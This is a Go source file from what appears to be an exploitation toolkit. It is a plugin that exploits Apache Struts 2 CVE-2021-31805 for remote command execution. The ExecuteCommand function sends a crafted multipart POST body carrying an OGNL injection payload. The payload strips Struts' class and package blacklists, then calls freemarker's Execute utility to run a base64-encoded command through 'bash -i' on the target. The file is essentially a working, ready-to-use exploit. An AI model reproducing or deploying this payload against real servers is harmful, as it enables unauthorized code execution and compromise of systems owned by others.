package drops

import (
	"context"
	"encoding/base64"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"time"
)

type Struts2cve202131805 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp Struts2cve202131805
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

// todo：数据补充
func (t *Struts2cve202131805) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "0b31e2b3-408a-4aae-b86a-616a919ec809",
		VulId:   "045b67c1-6a0e-4e19-ae5d-a31b9579a2aa",
		Name:    "Struts_CVE_2021_31805",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *Struts2cve202131805) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()
	newUrl, err := url.Parse(baseUrl)
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Set("Cache-Control", "max-age=0")
	req.RawRequest.Header.Set("Upgrade-Insecure-Requests", "1")
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36")
	req.RawRequest.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	req.RawRequest.Header.Set("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Set("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
	req.RawRequest.Header.Set("Connection", "close")
	req.RawRequest.Header.Set("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF")
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	cmd = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	body := "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'" + cmd + "'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
	req.SetBody([]byte(body))
	resp, err := expContext.HttpClient.Do(ctx, req)
	if err != nil {
		fmt.Println(err.Error())
		return nil, nil
	}
	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp.RawResponse,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    resp.GetBody(),
	})
	time.Sleep(time.Second * 1)
	return data, nil
}

func (t *Struts2cve202131805) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *Struts2cve202131805) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
